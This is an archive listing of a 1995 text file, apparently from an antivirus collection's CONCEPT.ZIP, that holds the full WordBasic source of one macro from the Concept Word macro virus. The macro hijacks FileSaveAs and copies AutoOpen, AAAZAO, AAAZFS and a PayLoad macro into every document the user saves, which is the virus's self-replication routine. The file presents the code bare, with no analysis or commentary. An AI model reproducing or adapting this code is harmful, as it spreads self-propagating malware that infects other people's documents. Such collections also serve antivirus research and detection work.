home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MVUPDAT3.ZIP / CONCEPT.ZIP / AAAZFS.TXT < prev    next >
Encoding:
Text File  |  1995-09-06  |  585 b   |  27 lines

  1. rem Macro name: AAAZFS
  2. Sub MAIN
  3. 'this becomes the FileSaveAs for the global template
  4. Dim dlg As FileSaveAs
  5. On Error Goto bail
  6. GetCurValues dlg
  7. Dialog dlg
  8. If dlg.Format = 0 Then dlg.Format = 1
  9. sMe$ = FileName$()
  10. sTMacro$ = sMe$ + ":AutoOpen"
  11. MacroCopy "Global:AAAZAO", sTMacro$
  12. sTMacro$ = sMe$ + ":AAAZAO"
  13. MacroCopy "Global:AAAZAO", sTMacro$
  14. sTMacro$ = sMe$ + ":AAAZFS"
  15. MacroCopy "Global:AAAZFS", sTMacro$
  16. sTMacro$ = sMe$ + ":PayLoad"
  17. MacroCopy "Global:PayLoad", sTMacro$
  18. FileSaveAs dlg
  19. Goto Done
  20.  
  21. Bail:
  22. If Err <> 102 Then
  23.     FileSaveAs dlg
  24. End If
  25. Done:
  26. End Sub
  27.